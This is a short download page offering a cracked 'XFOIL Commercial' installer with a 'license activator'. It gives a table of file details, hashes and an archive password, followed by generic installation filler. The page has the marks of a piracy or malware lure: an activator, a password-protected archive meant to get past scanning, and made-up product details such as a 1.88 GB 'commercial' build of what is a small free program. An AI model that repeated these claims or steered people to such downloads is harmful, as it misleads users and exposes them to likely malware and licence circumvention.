Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | XFOIL_Commercial_v3.18_x64_setup.zip |
| Version | v3.18.3824 build 9562 |
| File Size | 1.88 GB (1925 MB) |
| MD5 Hash | 939cdc30e6c7406f56e6ea345fe96d23 |
| SHA-256 | b92beaa4992f4f9a3bb563aecf65673f1de9cea05af759bb28d9352635927097 |
| Release Date | 2026-10-19 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | soft2026 |
| License Type | Lifetime License |
Accessing advanced functionality through XFOIL Commercial software download and installation requires precise adherence to the installation guidelines. Follow our verified community manual to avoid library conflicts and ensure seamless execution on Windows 10 and Windows 11.